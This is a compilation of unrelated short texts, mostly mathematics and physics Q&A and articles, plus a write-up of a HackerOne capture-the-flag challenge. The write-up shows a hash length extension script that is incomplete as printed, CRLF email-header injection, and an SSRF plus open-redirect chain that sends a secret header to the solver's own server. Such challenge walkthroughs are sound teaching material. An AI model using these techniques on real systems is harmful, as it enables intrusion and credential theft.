text:
# zbMATH — the first resource for mathematics

Sobolev and isoperimetric inequalities for degenerate metrics. (English) Zbl 0830.46027
Let $$X_1, \dots, X_m$$ be continuous vector fields in an open subset $$\Omega \subseteq \mathbb{R}^N$$. A Sobolev inequality holds for $$p\geq 1$$ if there exist $$q>p$$ and $$C= C(\Omega, p,q)$$ such that $\Biggl( \int_\Omega |u|^q dx\Biggr)^{1/q} \leq C \Biggl( \int_\Omega \biggl(\sum_j \langle X_j, \nabla u\rangle^2 \biggr)^{p/2} dx\Biggr)^{1/p},$ for any $$u\in C_0^\infty (\Omega)$$. A Sobolev inequality with $$p=1$$ and with the corresponding optimal choice of $$q$$ will be called a geometric inequality, it is equivalent to a suitable form of the isoperimetric inequality. In the present paper Sobolev’s inequality is proved, also the geometric inequality for some classes of vector fields.
Reviewer: J.Wloka (Kiel)

##### MSC:
 46E35 Sobolev spaces and other spaces of “smooth” functions, embedding theorems, trace theorems 26D15 Inequalities for sums, series and integrals 52A38 Length, area, volume and convex sets (aspects of convex geometry) 31B10 Integral representations, integral operators, integral equations methods in higher dimensions
Full Text:
##### References:
 [1] Calderon A.P.: Inequalities for the maximal function relative to a metric. Stud. Math.57 (1976), 297-306 · Zbl 0341.44007 [2] Capogna L., Danielli D., Garofalo N.: An embedding theorem and the Harnack inequality for nonlinear subelliptic equations. Commun. Partial Differ. Equations18 (1993), 1765-1794 · Zbl 0802.35024 [3] Chanillo, S., Wheeden R.L.: Weighted Poincar? and Sobolev inequalities and estimates for the Peano maximal function. Am. J. Math.107 (1985), 1191-1226 · Zbl 0575.42026 [4] Citti G., Garofalo N., Lanconelli E.: Harnack’s inequality for sums of squares plus a potential. Am. J. Math.115 (1993), 699-734 · Zbl 0795.35018 [5] Couhlon T.: Sobolev inequalities on graphs and on manifolds. Harmonic Analysis and Discrete Potential Theory. Picardello ed., Plenum Press, 1992 [6] Couhlon T.: In?galit? de Gagliardo-Nirenberg pour les semi-groupes d’op?rateurs et applications. Potential theory. (to appear) [7] Couhlon T., Saloff-Coste L.: Isop?rim?trie pour les groupes et les vari?t?s. Rev. Math. Iberoam.9 (1993), 293-314 [8] Danielli D.: Representation formulas and embedding theorem for subelliptic operators. C.R. Acad. Sci., Paris S?r. I, Math.314 (1992), 987-990 · Zbl 0768.46019 [9] David G., Semmes S.: StrongA ? weights, Sobolev inequalities and quasi-conformal mappings. Analysis and Partial Differential equations. Lect. Notes Pure Appl. Math.122 (1990), 101-111, Marcel Dekker, New York · Zbl 0752.46014 [10] Franchi B.: Weighted Sobolev-Poincar? inequalities and pointwise estimates for a class of degenerate elliptic equations. Trans. Am. Math. Soc.327 (1991), 125-158 · Zbl 0751.46023 [11] Franchi B.: In?galit?s de Sobolev pour des champs de vecteurs lipschitziens. C.R. Acad. Sci. Paris S?r. I, Math.311 (1990), 329-332 · Zbl 0734.46023 [12] Franchi B.: Disuguaglianze di Sobolev e disuguaglianze isoperim?triche per metriche degeneri. In: Seminario di Analisi Matematica dell’Universit? di Bologna (January 1993), Bologna, 1993 [13] Federer H.: Geometric Measure Theory Springer, 1969 · Zbl 0176.00801 [14] Franchi B., Gallot S., Wheeden R.L.: In?galit?s isop?rim?triques pour des m?triques d?g?n?r?es. C.R. Acad. Sci. Paris S?r. I, Math.317 (1993), 651-654 [15] Franchi B., Gutierrez C., Wheeden R.L.: Weighted Sobolev-Poincar? inequalities for Grushin type operators. Commun. Partial Differ. Equations.19 (1994), 523-604 · Zbl 0822.46032 [16] Franchi B., Lanconelli E.: H?lder regularity for a class of linear non uniformly elliptic operators with measurable coefficients. Ann. Sc. Norm. Super. Pisa (IV)10 (1983), 523-541 · Zbl 0552.35032 [17] Fefferman C., Phong D.H.: Subelliptic eigenvalue problems. In: Conference on Harmonic Analysis, Chicago 1980, W. Beckner et al. ed. Wadsworth (1981), 590-606 · Zbl 0503.35071 [18] Genebashvili I., Gogatishvili A., Kokilashvili V.: Criteria of general weak type inequalities for integral transforms with positive kernels. Proc. Georgian Acad. Sci. Math.1 (1993), 11-34 · Zbl 0803.42011 [19] Jerison D., Sanchez-Calle A.: Subelliptic second order differential operators. Complex Analysis III. Lect. Notes Math.1277 (1987), Springer, 46-77 · Zbl 0634.35017 [20] Long R.L., Nie F.S.: Weighted Sobolev inequality and eigenvalue estimates of Schr?dinger operators. Harmonic Analysis (Tianjin, 1988). Lect. Notes Math. 1494, Springer, 1991 [21] Lu G.: Weighted Poincar? and Sobolev inequalities for vector fields satisfying H?rmander’s condition and applications. Rev. Mat. Iberoam.8 (1992), 367-439 · Zbl 0804.35015 [22] Nagel A., Stein E.M., Wainger S.: Balls and metrics defined by vector fields I: basic properties. Acta Math.155 (1985), 103-147 · Zbl 0578.32044 [23] Pansu P.: Une in?galit? isop?rim?trique sur le groupe de Heisenberg. C.R. Acad. Sci. Paris S?r. I, Math.295 (1985), 127-130 [24] Saloff Coste L.: In?galit?s de Sobolev produit sur les groupes de Lie nilpotents. J. Funct. Anal., 44-56 · Zbl 0697.22012 [25] Saloff Coste L.: A note on Poincar?, Sobolev and Harnack inequalities. Int. Math. Res. Notices2 (1992), 27-38 · Zbl 0769.58054 [26] Varopoulos N.Th.: Analysis on Lie groups. J. Funct. Anal.76 (1988), 364-410 · Zbl 0634.22008 [27] Varopoulos N.Th.: Sobolev inequalities on Lie groups and symmetric spaces. J. Funct. Anal.86 (1989), 19-40 · Zbl 0697.22013 [28] Varopoulos N.Th., Saloff Coste L., Couhlon T.: Analysis and geometry on groups. Camb. Tracts Math.100, 1993
This reference list is based on information provided by the publisher or from digital mathematics libraries. Its items are heuristically matched to zbMATH identifiers and may contain data conversion errors. It attempts to reflect the references listed in the original paper as accurately as possible without claiming the completeness or perfect precision of the matching.


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# categories: More about names and notation

Dear Colleagues,

Thank you for the responses!

(1) Several pointed out that my <<followers>> relations are
said to be <<covering>> relations in combinatorics.
These relations are defined as relations which are
1. acyclic
2. without interpolants, as Robert Dawson mentioned.
A followers relation for discrete partial order R is
the least relation whose reflexive and transitive closure
is R.
This agrees entirely with the definition of a
successor relation being the least relation whose
transitive closure is a discrete strict total order and whose
reflexive and transitive closure is a discrete total order.
In the case of successor, there is a distinct
next element, as in the succession of the Kings (and Queens)
of England.  In the case of followers, there is in
general a set of next elements, such as the followers
of Cromwell.

(2) While several alternatives were offered, I will try
Paul Taylor's <<instance>> of a relation to describe
an ordered pair (x,y) \in R.

(3) The problem of a good name for the sets Nat_k remains.
Suggestions included
finite ordinals
numerals
order ideals
and by far the most appropriate for my purposes,
index sets
[This problem of a good name is worthy of some further attention.
Computer science second year students will think
of <<finite ordinals>> as a number, not a set,
of <<numerals>> as representations of the digits in a number system,
and have not be exposed to order ideals.]

Cheers,
David
--
Professor David B. Benson                                (509) 335-2706
School of EE and Computer Science (EME 102A)             (509) 335-3818 fax
PO Box 642752, Washington State University               dbenson@eecs.wsu.edu
Pullman WA 99164-2752   U.S.A.

format: plain


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# Does the Asian Option (average Option) depend on the forward implied vol

I can easily understand that the forward starting Option and Barrier Option depend on the forward implied vol smile at resetting date, so we always choose the stochastic vol model for underlying to control the forward vol.

Does the Asian Option (discrete arithmetic araverage) also depend on the forward implied vol? And it seems each path dependent Option depends on the forward implied vol.

Can anyone give me a clear explaination?

• First, I presume you mean a continuously observed barrier option? And second, I would say that you can have path dependence without forward vol dependence if each of the observations are independent. That's not a required property, but just intuitively and only thinking for a few minutes it seems like it could be sufficient. – will Dec 9 '18 at 9:58
• @will 1. I think even there is only one observed point of barrier option, it still depends on the forward vol (vol smile at observation point). 2. How do you define independent obseevation? Is Asian option independent observations? Since observation $S_{T_2}$ will depend on the observation value $S_{T_1}$ and the vol smile at $T_1$ if $T_2>T_1.$ – user6703592 Dec 9 '18 at 10:17
• if the barrier observation. Is the same as the option expiry then the price can be replicated using vanillas and you don't need information on the forward/conditional volatility. – will Dec 11 '18 at 6:48


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Rhythmic canons (6)

This post is a follow-up on the subject of rhythmic canons and the last post. Today I will talk specifically about Vuza canons, i.e. non-periodic canons.

I’ll start with an example. Let’s take the motive $A=\{0,1,8,9,17,28\}$. Can this be a motive for a rhythmic canon, i.e. does it tile $\mathbb{Z}_n$ for some integer $n$ ? As we have seen in the previous post, this is not an easy question, and until the recent work of Coven and Meyerowitz, there was no easy way to determine if tiling would possible or not. We recall here the two conditions of Coven and Meyerowitz, and their therorems.

Given the factorization $A(X)=\Phi(X)M(X)$ of the polynomial corresponding to $A$, where $\Phi(X)$ is a product of a cyclotomic polynomials, we define the set $R_A$ to be the set of orders of the cyclotomic polynomials in $\Phi$, and the set $S_A$ to be the subset of $R_A$ consisting of prime powers. The two conditions (T1) and (T2) are as follows.

Condition (T1): $A(1)=\prod_{p^k \in S_A}p$

Condition (T2): If ${p_1}^{k_1}$, ${p_2}^{k_2}$,$\ldots$ are in $S_A$, then ${p_1}^{k_1}{p_2}^{k_2}\ldots$ is in $R_A$.

The results of Coven and Meyerowitz are then as follows.

• If $A$ tiles, then (T1) is true.
• If both (T1) and (T2) are true, then $A$ paves
• If $A(1)$ has only two prime factors, and $A$ paves, then condition (T2) is true.

With these results, it is easy to check that $A=\{0,1,8,9,17,28\}$ indeed tiles $\mathbb{Z}_{36}$. Here is our motive in a graphical representation, 0 being on top, and the order being clockwise.

The entries are $E=\{0,6,12,18,24,30\}$, so we get the following tiling.

Now, you probably have noticed that the set of entries is periodic in $\mathbb{Z}_{36}$. The immediate general question we could ask would be: is it always the case ?

The answer is a definite no, but not an obvious one.The first $n$ for which a non-periodic canon exists is $n=72$. In the mathematics/music community, canons which have no periodicity (either in the set of their entries, or in the set of the motive) are called Vuza canons, named after Dan Tudor Vuza, a romanian mathematician who spent almost 10 years between 1980 and 1990 working on rhythmic canons. Vuza published his work in a series of four papers in Perspectives of New Music, the references of given below.

• D. T. Vuza, “Supplementary sets and regular complementary unending canons”, Perspectives of
New Music. Part 1 : Vol. 29(2), 1991, p. 22-49. Part 2: Vol. 30(1), 1992, p. 184-207. Part 3: Vol. 30(2), 1992, p. 102-125. Part 4: Vol. 31(1), 1993, p. 270-305.

It was later found that Vuza had rediscovered by himself some known results of Hajos, Redeï, De Bruijn, etc. In particular, we have the following result, which characterizes the integers $n$ for which no Vuza canon exist.

Theorem: let $p,q,r,s$ be distinct prime numbers. If an integer $n$ is of the form $n=p^\alpha$, $n=p^\alpha q$, $n=p^2q^2$, $n=p^2qr$, or $n=pqrs$, then the canons which tile $\mathbb{Z}_n$ are periodic (i.e. non-Vuza).

Hence, the first integers $n$ for which Vuza canon may exist are 72, 108, 120, 144, 168, 180, 200, 216, 240, 252, 264, 270, 280, 288, 300, 312, 324, 336, 360, etc. From a musical point of view, Vuza canons are interesting since they introduce a certain degree of non-repetitiveness in a musical form which is repetitive by definition. Here is an example of a Vuza canon which tiles $\mathbb{Z}_{72}$. The motive is $A=\{0, 1, 5, 6, 12, 25, 29, 36, 42, 48, 49, 53\}$, which can be represented as follows.

And the entries are $E=\{0, 8, 16, 18, 26, 34\}$ (non-periodic, as you can see), such that the final tiling can be represented as follows.

It so happens that someone has posted on Youtube a realization of a Vuza canon of length 72 (which might not be identical to the one above, I have not checked), so this saves me the work of doing it. Check it out below.

Emmanuel Amiot has remarked that if one has canon (not necessarily Vuza) with motive $A$ and entries $E$, then one can form a new canon by repeating (concatenating) the motive, without changing the entries. For example, the motive $A=\{0,1,3,7,9\}$

paves $\mathbb{Z}_{10}$ with entries $E=\{0,5\}$.

If one concatenate the motive once to get the new motive $A'=\{0,1,3,7,9,10,11,13,17,19\}$, then it paves $\mathbb{Z}_{20}$ with the same entries.

Now, the results of Coven and Meyerowitz state that if a motive paves, then it has condition (T1) on one hand, and if conditions (T1) and (T2) are respected then a motive paves, on the other hand. The underlying conjecture here is whether the sole condition (T2) implies that a motive paves. Amiot has showed that if a motive $A'$ is obtained by concatenation of a motive $A$, then one has condition (T2) if and only if the other one has condition (T2). By definition of a Vuza canon, we can deduce that any rhythmic canon can be recursively deconcatenated to either a Vuza canon, or the trivial canon (with motive $A=\{0\}$ and entry $E=\{0\}$). Thus, if one wants to prove the implication (T2) $\implies$ tiling, it is enough to prove it for the Vuza canons.

The problem is: we don’t know how to construct all Vuza canons. Harald Fripertinger has enumerated all Vuza canons of length 72 and 108, which you can find here:

And here are his research papers on the enumeration of rhythmic canons:

• H. Fripertinger, “Enumeration of non-isomorphic canons”, Tatra Mt. Math. Publ., 23, p. 47-57,
2001.
• H. Fripertinger, “Remarks on Rhythmical Canons”, in H. Fripertinger and L. Reich (eds.),
Proceedings of the Colloquium on Mathematical Music Theory, Grazer Mathematische Berichte, vol.
347, p. 1-25, Graz, Austria, 2005, p. 73-90.
• H. Fripertinger, “Tiling problems in music theory”, in G. Mazzola, Th. Noll, and E. LluisPuebla,
editors, Perspectives in Mathematical and Computational Music Theory, pages 153-168. epOs
Music, Osnabrück, 2004.

Some algorithms are known to compute Vuza canons; in particular Franck Jedrzejewski has published new constructions and extended the enumeration of Vuza canons for longer lengths.

In fact, if you look at the tables in Jedrzejewski’s paper, you will notice that the number of Vuza canons can be quite large. This has been observed by Kolountzakis and Matolcsi in the following paper, in which they also give an algorithm for constructing non-periodic canons.

• Kolountzakis, M.N., Matolcsi, M., “Algorithms for translational tiling”, Journal of Mathematics and Music, 3:2 (2009), pp. 85-97, DOI: 10.1080/17459730903040899

Their algorithm works as follows. Pick sufficiently large prime numbers $p$ and $q$ and consider the integer $n=2 \cdot 3 \cdot 5 \cdot p \cdot q$. We are going to consider the group $\mathbb{Z}_n$ as being isomorphic to $\mathbb{Z}_{2} \times \mathbb{Z}_{3p} \times \mathbb{Z}_{5q}$ and work in this group. For the specific purpose of this post, I will take here $p=3$ and $q=3$, meaning that we are going to build a Vuza canon of length 270.

We consider the motive $A=\{(i,j,0), i \in \{0,1,2\}, j \in \{0,1,2,3,4\}\}$ and the entries $B=\{(3i,5j,k), i \in \{0,1,2\}, j \in \{0,1,2,3,4\}\}$. We can represent it graphically as follows, with the motive in orange and the entries in green, bearing in mind that the two planes are in fact toruses (they wrap at the edges), and the vertical direction also wraps.

So far so good, but this is clearly a periodic tiling. The idea of Kolountzakis and Matolcsi is to perturbate this arrangement by shifting the entries in the lower and upper planes. More specifically, we shift the first column by one in the lower plane, and the the first row by one in the upper plane, so that the entries are now (0,0,0),(3,0,0),(6,0,0),(1,5,0),(4,5,0),(7,5,0),(0,10,0),(3,10,0),(6,10,0), and (0,0,1),(0,5,1),(0,10,1),(3,4,1),(3,9,1),(3,14,1),(6,0,1),(6,5,1),(6,10,1), which can be represented as follows.

The tiling has now become non-periodic, and you can use your favorite isomorphism from $\mathbb{Z}_{2} \times \mathbb{Z}_{9} \times \mathbb{Z}_{15}$ to $\mathbb{Z}_{270}$ to get the final Vuza canon.

I will conclude this post with some personal observations, which look similar to the work of Kolountzakis and Matolcsi. Consider the Vuza canon of length 72 with motive $A=\{0,1,5,6,12,25,29,36,42,48,49,53\}$, and entries $E=\{0,8,16,18,26,34\}$. We have an isomorphism between $\mathbb{Z}_{72}$ and $\mathbb{Z}_{8} \times \mathbb{Z}_{9}$ so that, similarly as above, we can represent the motive and entries on a 8 x 9 torus, as follows.

In this representation, it is clear that the motive is non-periodic, but not so far from being so. In fact, if you were to shift the fourth column by two, you would get the following motive, which paves $\mathbb{Z}_{72}$ with the same entries, but is now a (non-Vuza) periodic rhythmic canon.

I am unsure if this is a general phenomenon for all Vuza canons. For example, the Vuza canon of length 180 with motive A=0,6,16,17,25,26,34,35,36,42,43,44,52,53,72,78,106,107,108,114,115,116,124,125,133,134,142,143,144,150, and entries E=0,12,24,45,57,69, can be represented as such.

In this case, the operation is a bit different, as we would have to shift the 30th column to the 17th one, so that one obtains a periodic rhythmic canon.

But sometimes, shifting columns give a Vuza canon anyway ! For example, if we take the Vuza canon of length 180 with motive A= 0,5,6,12,13,17,21,29,36,42,48,65,72,73,77,78,81,84,89,108,114,120,125,133,137,141,144,149,150,156, and entries E=0,18,20,38,40,58, it can be represented as such in $\mathbb{Z}_{9} \times \mathbb{Z}_{20}$.

If one shifts the 17th column, then we obtain another Vuza canon !

It has a motive A=0,5,6,12,17,21,29,36,42,48,53,65,72,77,78,81,84,89,108,113,114,120,125,137,141,144,149,150,156,173, and the same entries, and is non-periodic.


text:
nLab Gary Gibbons

Gray Gibbons is professor for theoretical physics at Cambridge.

Selected writings

On D1-D3 brane intersections as spikes/BIons in the D3-brane DBI-theory:

On G2-conifolds:

• Gary Gibbons, Don Page, Christopher Pope, Einstein metrics on $S^3$, $\mathbb{R}^3$ and $\mathbb{R}^4$ bundles, Comm. Math. Phys. Volume 127, Number 3 (1990), 529-553 (euclid:cmp/1104180218)

On open M5-branes intersecting M9-branes in a Yang monopole:

On gravitational lensing? via the Gauss-Bonnet theorem:

• Gary Gibbons and M. C. Werner, Applications of the Gauss-Bonnet theorem to gravitational lensing, Class. Quant. Grav. 25, 235009 (2008) (arXiv:0807.0854)
category: people

Last revised on October 14, 2020 at 09:33:41. See the history of this page for a list of all contributions to it.


text:
# What is the slope and intercept of  y=5x?

Mar 29, 2018

Slope is 5
Y intercept is 0

#### Explanation:

Equation of a linear line is $y = m x + c$

$m$ is the gradient so in this case 5

$c$ is the y intercept so in this case 0


text:
## The Beginning

I was walking around the vendor area at Blackhat when I spotted the HackerOne booth. I went over there and someone gave me this card.

I saw the string atvdxk.ahebwtr. It looked like it had been ciphered somehow. One of the first things I thought it might be was a Caesar cipher. I used this tool to print out all the possible plaintexts. In the output, I saw hacker.holiday. That had to be the answer.

I also noticed the 2 lines of characters on the bottom of the card but I was unable to get anything out of that after about 15 minutes so I decided to move on.

Viewing the robots.txt there revealed that there was a file called flag.php in the web root. However, trying to access it gave this error: MISSING ACCESS TOKEN.

## Second Step - Hash Length Extension

On that page, I viewed rules.txt. The url immediately caught my eye, https://hacker.holiday/?file=rules.txt.

I initially thought that it was a simple local or remote file inclusion vulnerability but I was wrong. Upon changing the file parameter, I got a message saying Error: Invalid file name. DEBUG mode is currently disabled.

The DEBUG mode part of it was interesting. I decided to try the simplest thing and add a debug=1 parameter to the query string. It worked. In addition to the error message about the file name being invalid, the application now spit out a list of valid file names.

Valid files: rules.txt, next.207

I then tried to view next.207 and was met with a No Hash Specified error. I tried adding a hash parameter to the query string which resulted in me getting an error message that said Invalid Hash.

At this point, I wondered why I didn’t seem to need a hash to view rules.txt and whether I could find a valid hash for rules.txt at all. I went back to the previous page that listed the valid files. I checked the source and saw this: <acronym title="hash: 266b99aac278c0fd7be8a55025ba8afc854c88da">rules.txt</acronym>

Given that I had a hash for rules.txt, attempting a hash length extension attack seemed like the next logical step.

I wrote a small script in Python using hashpumpy.

import hashpumpy
import requests

min_key_len = 1
max_key_len = 50

original_data = 'rules.txt'
hexdigest = '266b99aac278c0fd7be8a55025ba8afc854c88da'

for i in range(min_key_len, max_key_len+1):
print 'Trying: %s:%s' % (new_file, new_hash)
payload = {'file': new_file, 'hash': new_hash}
if 'Invalid hash' not in r.text:
print "Found key length: %d\n" % i
print r.text
break

The request succeeded with a key length of 16 and the contents of next.207 were included in the result.

## Mystery file

The contents of next.207 ended up being a really long string of letters and numbers that looked suspiciously like something encoded as a hex string.

Python’s string.decode(‘hex’) made quick work of it. I dumped the result to a file and worked from there. Running file on it didn’t return anything useful. I then took a look at it using hexdump.

hexdump -C file | head -n10
00000000  00 00 00 00 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |............IHDR|
00000010  00 00 01 f4 00 00 01 f4  08 06 00 00 00 cb d6 df  |................|
00000020  8a 00 00 00 09 70 48 59  73 00 00 0b 13 00 00 0b  |.....pHYs.......|
00000030  13 01 00 9a 9c 18 00 00  0a 4f 69 43 43 50 50 68  |.........OiCCPPh|
00000040  6f 74 6f 73 68 6f 70 20  49 43 43 20 70 72 6f 66  |otoshop ICC prof|
00000050  69 6c 65 00 00 78 da 9d  53 67 54 53 e9 16 3d f7  |ile..x..SgTS..=.|
00000060  de f4 42 4b 88 80 94 4b  6f 52 15 08 20 52 42 8b  |..BK...KoR.. RB.|
00000070  80 14 91 26 2a 21 09 10  4a 88 21 a1 d9 15 51 c1  |...&*!..J.!...Q.|
00000080  11 45 45 04 1b c8 a0 88  03 8e 8e 80 8c 15 51 2c  |.EE...........Q,|
00000090  0c 8a 0a d8 07 e4 21 a2  8e 83 a3 88 8a ca fb e1  |......!.........|

After seeing strings in there like IHDR, I figured it must be a PNG or at least contain a PNG. However, I still wasn’t sure why file wasn’t recognising the file. I took a look at the wikipedia page for PNG files to see if anything was off with the header.

It turns out that the first 4 bytes of the header seemed to be missing completely. I changed them to the proper values for a PNG file and ran file on it again.

I got this as the result: file: PNG image data, 500 x 500, 8-bit/color RGBA, non-interlaced

## I hate Stego

I knew it as soon as I saw the image. All I had was this image. There had to be something hidden in the top all-white rectangle.

I don’t enjoy stego challenges at all so I’m lucky that one of the tools I had worked. I ran the image through stegoVeritas and luckily for me, one of the transformations it performed was correct. The result was this:

After navigating to the path mentioned in the image above, I landed on this page.

There was an admin.js file included on this page. It was pretty short and didn’t seem to be used anywhere.

function login() { /*todo*/ }

function logout(o) {
var n = new XMLHttpRequest;
}

I messed around and checked for obvious things like SQL Injection but I didn’t find anything useful there. However, I did notice that the domains of email addresses entered into the forgot password form were restricted.

Trying any old email address got me: Error: Invalid email domain (must be hacker.1)

If tried entering a hacker.1 email address, and it went through.

I wondered if I could somehow trick the form into sending the email to more than 1 address while still tricking the parser into thinking that my email address ended with hacker.1.

I tried injecting a CRLF at different places to see what would happen.

Trying admin@hacker.2<CR><LF>test would result in the previous error message about the email domain being invalid. However, admin@hacker.1<CR><LF>test resulted in a different message: Error: Invalid email header specified

This told me that the content after the email address was being included later in the process, and that we were getting past the email domain check using the CRLF.

I thought that my input was being used to craft commands sent to a SMTP server. I tried a bunch of things here, like putting a RCPT TO: me@mail.com after the CRLF. However, none of that worked.

I then re-read the error message and realised how stupid I was being. It said that the email header was invalid…

After some googling, I realised that I should have used Cc: me@mail.com instead since it was going directly into the email header.

I tried that and it worked. I received a different message this time:

Password reset email sent to: Hmm, you seem to know some tricks. I guess you can continue your journey.

## SSRF + Open Redirect

I navigated to the path mentioned in the success message above and was met by this page.

Viewing the source gave me:

You may know a thing or two after all...
 Your journey nears the end.

The link to the robots.txt here made me think that I was supposed to read flag.php at this stage. Also, the url used to load the image immediately caught my eye.

Url: ./image.php?u=images/h1.png

I thought that it might have been some sort of file inclusion. I tried including something over http but it just seemed to be appending the url (including the protocol, etc) to the existing path. That ruled out this being a remote file inclusion vulnerability. I figured that if I gave it an invalid file path that I would see some error about the file not being found. However, I was met with a 404 error. This was interesting because it means that the script was probably making a HTTP request in the background and returning the result to me. SSRF vulnerability. YAY.

I also wondered if that HTTP request in the background was being sent with the missing access token mentioned earlier when we tried to access flag.php directly.

I tried accessing: https://hacker.holiday/admin!31337/el337er/image.php?u=../../flag.php but that resulted in this error message: Hacking attempt! Only three . allowed.

I couldn’t go up 2 directories. I tried different things here like varying levels of URL encoding since the string would probably have been decoded at least twice because of the request taking place in the backend. However, none of that worked.

At this point, I gave up on trying to go up 2 directories and wondered what I could do by just going up 1 directory.

window.location = "logout.php?r=" + o

The page was responding with a 302 status code and a Location field in the HTTP header with the value of whatever r had in the query string. An open redirect vulnerability. YAY.

I didn’t think I would be able to get the internal request to hit the flag.php file using this method. However, by combining the SSRF with the open direct, I might be able to get it to hit a server of my choosing, allowing me to see the request headers and maybe get a glimpse of the access token that I was missing.

https://hacker.holiday/admin!31337/el337er/image.php?u=../logout.php?r=http://myserver.com

BUT FOILED AGAIN

I didn’t realise but I had crossed my 3 . limit again.

I remember I had read before that I could convert an ip address to its decimal representation and it would still work in some cases. If I did this, I would have no periods after the http and it should work.

I used this tool to convert the ip addresses of one of my servers to a decimal.

I then tried to make the request again:

https://hacker.holiday/admin!31337/el337er/image.php?u=../logout.php?r=http://<decimal_representation_here

IT WORKED!

This was the output that I got

Connection from [54.91.81.37] port 80 [tcp/http] accepted (family 2, sport 46382)
GET / HTTP/1.1
Host: <redacted>
Accept: */*
FLAG-ACCESS-TOKEN: h4ckth3pl4n3t

I included the token in the request to flag.php and this was the result.

Access granted!

Welcome to the end of your journey, remember where it all began...

GQMYJSGPSMGZRDDQNFBLZFGSDLWQMOPRSZRQAGOLQKWSRPSRZEAEDAQAFWPZ

(This is not the flag, you still have one final step to go!)

Still one step to go….

Thankfully, they included a link to a list of tools at the end which would help with solving the challenge.

I considered a bunch of things like substitution ciphers, etc but nothing seemed to really work.

Ciphers like the one time pad cipher required a second string but I only had one… OR DID I?!

I remembered the two lines of letters on the card that I had noticed initially but couldn’t do anything with. I wrote them down and used that along with the string from flag.php

I tried them and it worked!

The result was: EMAILIWANTTOJOINTHEATHACKERDOTHOLIDAYWITHWINNERCHICKENDINNER

AND I WAS DONE!

## Conclusion

In conclusion, it was a pretty fun CTF. I learned that I should pay closer attention to error messages :p

Thanks goes out to HackerOne!


text:
# Proof involving convex function and concave function

## Homework Statement

[/B]
Let X be a vector space over $\mathbb{R}$ and $f: X \rightarrow \mathbb{R}$ be a convex function and $g: X \rightarrow \mathbb{R}$ be a concave function. Show: The set {$x \in X: f(x) \leq g(x)$} is convex.

## Homework Equations

[/B]
If f is convex $\rightarrow$ $f(\alpha x + (1-\alpha)y) \leq \alpha f(x) + (1-\alpha)f(y)$
If g is concave $\rightarrow$ $g(\alpha x + (1-\alpha)y) \leq \alpha g(x) + (1-\alpha)g(y)$
$\forall x,y \in X$ and $\alpha \in \mathbb{R}$ where $0 < \alpha < 1$

## The Attempt at a Solution

I just assumed that because
$f(x) \leq g(x)$ $\rightarrow$ $f(\alpha x + (1-\alpha)y) \leq g(\alpha x + (1-\alpha)y)$.
And also
$\alpha f(x) + (1-\alpha)f(y) \leq \alpha g(x) + (1-\alpha)g(y)$.

Then because we have that g is convex and f is concave from the relevant equations we have:
$f(\alpha x + (1-\alpha)y) \leq \alpha f(x) + (1-\alpha)f(y) \leq \alpha g(x) + (1-\alpha)g(y) \leq g(\alpha x + (1-\alpha)y)$

I know this isn't enough to show that the set is convex, but I am wondering I am on the right track of thinking and what possible next steps should be.

## Answers and Replies

Related Calculus and Beyond Homework Help News on Phys.org
tnich
Homework Helper

## Homework Statement

[/B]
Let X be a vector space over $\mathbb{R}$ and $f: X \rightarrow \mathbb{R}$ be a convex function and $g: X \rightarrow \mathbb{R}$ be a concave function. Show: The set {$x \in X: f(x) \leq g(x)$} is convex.

## Homework Equations

[/B]
If f is convex $\rightarrow$ $f(\alpha x + (1-\alpha)y) \leq \alpha f(x) + (1-\alpha)f(y)$
If g is concave $\rightarrow$ $g(\alpha x + (1-\alpha)y) \leq \alpha g(x) + (1-\alpha)g(y)$
$\forall x,y \in X$ and $\alpha \in \mathbb{R}$ where $0 < \alpha < 1$

## The Attempt at a Solution

I just assumed that because
$f(x) \leq g(x)$ $\rightarrow$ $f(\alpha x + (1-\alpha)y) \leq g(\alpha x + (1-\alpha)y)$.
And also
$\alpha f(x) + (1-\alpha)f(y) \leq \alpha g(x) + (1-\alpha)g(y)$.

Then because we have that g is convex and f is concave from the relevant equations we have:
$f(\alpha x + (1-\alpha)y) \leq \alpha f(x) + (1-\alpha)f(y) \leq \alpha g(x) + (1-\alpha)g(y) \leq g(\alpha x + (1-\alpha)y)$

I know this isn't enough to show that the set is convex, but I am wondering I am on the right track of thinking and what possible next steps should be.
The next step would be to write the definition of a convex set (as opposed to a convex function). Then see what you can do with your inequalities.

The next step would be to write the definition of a convex set (as opposed to a convex function). Then see what you can do with your inequalities.
A subset E of X is called convex if, for any $x,y \in E$ and $t \in (0,1)$ then $(1-t)x + ty \in E$.

So by the inequality I wrote since $\alpha f(x) + (1-\alpha)f(y)$ is contained in the set it is convex?

tnich
Homework Helper
A subset E of X is called convex if, for any $x,y \in E$ and $t \in (0,1)$ then $(1-t)x + ty \in E$.

So by the inequality I wrote since $\alpha f(x) + (1-\alpha)f(y)$ is contained in the set it is convex?
That is kind of the idea, but the set is two-dimensional. You just need to put together the chain of inequalities that shows that for two ordered pairs $(x_1,y_1), (x_2,y_2)$ such that $x_1,x_2 \in X, f(x_1) \le y_1 \le g(x_1)$ and $f(x_2) \le y_2 \le g(x_2)$ if follows that $(1-t)(x_1,y_1) +t(x_2,y_2)$ satisfies the same conditions for $0\le t\le 1$.

tnich
Homework Helper
That is kind of the idea, but the set is two-dimensional. You just need to put together the chain of inequalities that shows that for two ordered pairs $(x_1,y_1), (x_2,y_2)$ such that $x_1,x_2 \in X, f(x_1) \le y_1 \le g(x_1)$ and $f(x_2) \le y_2 \le g(x_2)$ if follows that $(1-t)(x_1,y_1) +t(x_2,y_2)$ satisfies the same conditions for $0\le t\le 1$.
Oops. Misread the problem. I'm wrong about the two dimensions. It does say to show that the set X is convex.

tnich
Homework Helper
Oops. Misread the problem. I'm wrong about the two dimensions. It does say to show that the set X is convex.
So what you need to show is that for all $x, y \in X$ and $t \in (0,1), f((1-t)x + ty) \le g((1-t)x + ty)$.

Mark44
Mentor
If g is concave $\rightarrow$ $g(\alpha x + (1-\alpha)y) \leq \alpha g(x) + (1-\alpha)g(y)$
$\forall x,y \in X$ and $\alpha \in \mathbb{R}$ where $0 < \alpha < 1$
You have just repeated the definition for a convex function, not a concave function. The $\le$ in the definition above should be $\ge$.


text:
Numerical Landau Damping dispersion relation, Principal value numerical integral

Greeting, I'm searching to solve numerically the dispersion relation for Landau Damping, it is: $$0=1+\frac{1}{k^2}\int_{-\infty}^{+\infty} \frac{\partial_v f_{0}}{w/k-v}dv$$ Which then can be simplified by using the Principal value.

I know that it can be solved if $$f_0$$ is a Gaussian and using the plasma dispersion relation $$Z(\zeta)$$. However i want to do it with an arbitrary function $$f_0$$.

